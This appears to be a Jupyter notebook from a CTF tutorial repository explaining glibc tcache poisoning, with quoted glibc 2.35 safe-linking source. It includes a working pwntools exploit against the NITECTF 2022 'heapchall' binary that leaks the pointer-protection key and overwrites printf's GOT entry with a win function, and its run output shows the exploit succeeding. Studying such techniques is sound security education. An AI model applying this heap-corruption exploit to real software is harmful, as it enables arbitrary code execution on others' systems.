tcache-poisoning
Folders and files
Name | Name | Last commit date | ||
---|---|---|---|---|
parent directory.. | ||||
{ "cells": [ { "cell_type": "markdown", "id": "43ffc1f4-7be9-4dec-823b-41296d1dcf01", "metadata": {}, "source": [ "# Tcache Poisoning Attack\n", "\n", "The tcache poisoning attack allows us to trick malloc into returning a pointer to an arbitrary location (e.g., stack, GOT table).\n", "\n", "This attack is similar to fastbin corruption attack.\n", "\n", "Reference: https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c\n", "\n", "```c\n", "/* Caller must ensure that we know tc_idx is valid and there's room\n", " for more chunks. */\n", "static __always_inline void\n", "tcache_put (mchunkptr chunk, size_t tc_idx) // TCACHE_MAX_BINS (=64), size <= 1024\n", "{\n", " tcache_entry *e = (tcache_entry *) chunk2mem (chunk);\n", "\n", " /* Mark this chunk as \"in the tcache\" so the test in _int_free will\n", " detect a double free. */\n", " e->key = tcache_key;\n", "\n", " e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);\n", " tcache->entries[tc_idx] = e;\n", " ++(tcache->counts[tc_idx]); // At most TCACHE_FILL_COUNT (=7)\n", "}\n", "\n", "/* Convert a chunk address to a user mem pointer without correcting\n", " the tag. */\n", "#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))\n", "\n", "/* Safe-Linking:\n", " Use randomness from ASLR (mmap_base) to protect single-linked lists\n", " of Fast-Bins and TCache. That is, mask the \"next\" pointers of the\n", " lists' chunks, and also perform allocation alignment checks on them.\n", " This mechanism reduces the risk of pointer hijacking, as was done with\n", " Safe-Unlinking in the double-linked lists of Small-Bins.\n", " It assumes a minimum page size of 4096 bytes (12 bits). Systems with\n", " larger pages provide less entropy, although the pointer mangling\n", " still works. */\n", "#define PROTECT_PTR(pos, ptr) \\\n", " ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))\n", "```" ] }, { "cell_type": "markdown", "id": "13e17b12-015c-4bd2-becc-f6dba3df3d6d", "metadata": {}, "source": [ "## Example: heapchall\n", "\n", "Source: NITECTF 2022\n", "\n", "Actions:\n", "\n", "- `slot[a] = malloc(b)`, \n", "- `scanf(\"%s\", slot[a])`\n", "- `free slot[a]`. This action forgets to set `slot[a]` to NULL\n", "- `puts( slot[a] )`" ] }, { "cell_type": "code", "execution_count": 1, "id": "290cc32c-68fe-416b-a223-591997c4e3e7", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[*] '/ctf/work/tcache-poisoning/heapchall'\n", " Arch: amd64-64-little\n", " RELRO: Partial RELRO\n", " Stack: Canary found\n", " NX: NX enabled\n", " PIE: No PIE (0x400000)\n", "[*] '/ctf/work/tcache-poisoning/libc.so.6'\n", " Arch: amd64-64-little\n", " RELRO: Partial RELRO\n", " Stack: Canary found\n", " NX: NX enabled\n", " PIE: PIE enabled\n" ] } ], "source": [ "from pwn import *\n", "from pwnlib import gdb\n", "\n", "bin_filename = './heapchall'\n", "elf = ELF(bin_filename)\n", "\n", "context.terminal = ['tmux', 'new-window']\n", "context.arch = elf.arch\n", "\n", "libc_filename = './libc.so.6'\n", "libc = ELF(libc_filename)\n", "\n", "ld_filename = 'ld-linux-x86-64.so.2'" ] }, { "cell_type": "code", "execution_count": 2, "id": "e700d42b-cb5d-4e5a-a002-3fd28323cdd4", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[*] '/ctf/work/tcache-poisoning/heapchall.patch'\n", " Arch: amd64-64-little\n", " RELRO: Partial RELRO\n", " Stack: Canary found\n", " NX: NX enabled\n", " PIE: No PIE (0x3ff000)\n", " RUNPATH: b'.'\n" ] } ], "source": [ "!cp {bin_filename} {bin_filename}.patch\n", "bin_filename = bin_filename + '.patch'\n", "!patchelf --set-interpreter {ld_filename} {bin_filename}\n", "!patchelf --set-rpath '.' {bin_filename}\n", "elf = ELF(bin_filename)" ] }, { "cell_type": "code", "execution_count": 3, "id": "18f485f2-0142-4b2a-bb52-b4de749854cd", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "GNU C Library (GNU libc) stable release version 2.35.\n" ] } ], "source": [ "!strings libc.so.6 | grep 'GNU C Library'" ] }, { "cell_type": "code", "execution_count": 4, "id": "7e58d157-15be-47a9-869b-fe3ba2dd8ce1", "metadata": {}, "outputs": [], "source": [ "def allocate(io: tube, slot: int, sz: int):\n", " io.recvuntil(b'Option:')\n", " io.sendline(b'1')\n", " io.recvuntil(b'Slot:')\n", " io.sendline(b'%d' % slot)\n", " io.recvuntil(b'Size:')\n", " io.sendline(b'%d' % sz)\n", "\n", "def edit(io, slot, content):\n", " io.recvuntil(b'Option:')\n", " io.sendline(b'2')\n", " io.recvuntil(b'Slot:')\n", " io.sendline(b'%d' % slot)\n", " io.recvuntil(b'content:')\n", " io.sendline(content)\n", "\n", "def free(io, slot):\n", " io.recvuntil(b'Option:')\n", " io.sendline(b'3') \n", " io.recvuntil(b'Slot: ')\n", " io.sendline(b'%d' % slot)\n", "\n", "def view(io: tube, slot):\n", " io.recvuntil(b'Option:')\n", " io.sendline(b'4')\n", " io.recvuntil(b'Slot: ')\n", " io.sendline(b'%d' % slot)\n", " return io.recvline(keepends=False)\n", "\n", "def leak(io, slot):\n", " leak = view(io, slot)\n", " leak = u64(leak + b'\\x00'*(8-len(leak)))\n", " return leak\n" ] }, { "cell_type": "markdown", "id": "b97bceb8-fcae-4267-b8ea-8f4029d1e8cc", "metadata": {}, "source": [ "Print the tcache state (if we download the glibc with debug symbol):\n", "\n", "```\n", "pwndbg> tcache\n", "pwndbg> tcachebins\n", "pwndbg> bins\n", "pwndbg> heapinfo\n", "pwndbg> parseheap\n", "```" ] }, { "cell_type": "code", "execution_count": 5, "id": "592450e9-bd94-4bea-a72a-2b1d31f24a8f", "metadata": {}, "outputs": [], "source": [ "def exploit(io: tube):\n", " count = 7 + 2 # 7 for tcache, 2 for \n", " sz = 0x100\n", " for i in range(count):\n", " # the size must <= 0x400 so that the chunk is fit in tcache\n", " # the size must > 0x80 otherwise the chunk is allocated in fastbin\n", " allocate(io, i, sz) \n", " for i in range(count):\n", " free(io, i)\n", " addr = [leak(io, i) for i in range(count)]\n", " print(','.join(map(hex, addr)))\n", " \n", " # addr[0] is the protection key\n", " # addr[i] = key ^ true_addr[i]\n", " # addr[1]^addr[0] = (key ^ true_addr[0]) ^ (key ^ NULL) = true_addr[0]\n", " \n", " key = addr[0]\n", " overwrite_addr = elf.got['printf']\n", " edit(io, 6, p64( key ^ overwrite_addr ))\n", " \n", " allocate(io, 0, sz)\n", " allocate(io, 1, sz) # overwrite_addr\n", " edit(io, 1, p64(elf.sym['win']))" ] }, { "cell_type": "code", "execution_count": 6, "id": "523e86b5-2841-40d5-919f-546461a0c5aa", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[x] Starting local process './heapchall.patch'\n", "[+] Starting local process './heapchall.patch': pid 1514776\n", "hex(libc_base)='0x7f1b0ad66000'\n", "0xfae,0xfaed0e,0xfaec1e,0xfaeb6e,0xfaea7e,0xfae94e,0xfae85e,0xf58ce0,0x0\n", "[DEBUG] Sent 0xe bytes:\n", " b'echo you win!\\n'\n", "[DEBUG] Sent 0x5 bytes:\n", " b'exit\\n'\n", "[x] Receiving all data\n", "[x] Receiving all data: 1B\n", "[DEBUG] Received 0x28 bytes:\n", " b'Winner winner, chicken dinner!\\n'\n", " b'you win!\\n'\n", "[x] Receiving all data: 41B\n", "[+] Receiving all data: Done (41B)\n", "[*] Stopped process './heapchall.patch' (pid 1514776)\n", "b' Winner winner, chicken dinner!\\nyou win!\\n'\n" ] } ], "source": [ "import os\n", "context.aslr = True\n", "io = process(bin_filename)\n", "libc_base = io.libs()[os.path.realpath(libc_filename)]\n", "print(f'{hex(libc_base)=}')\n", "# io = gdb.debug([bin_filename], gdbscript=f\"\"\"\n", "# c\n", "# \"\"\")\n", "try:\n", " exploit(io)\n", " with context.local(log_level='debug'):\n", " io.sendline(b'echo you win!')\n", " io.sendline(b'exit')\n", " print(io.recvall(timeout=2))\n", " io.kill()\n", " io.poll(block=True)\n", "except Exception as e:\n", " io.kill()\n", " raise e" ] }, { "cell_type": "code", "execution_count": null, "id": "dc429a23-ee16-4945-b9ed-92e506d46457", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.8.10" } }, "nbformat": 4, "nbformat_minor": 5 }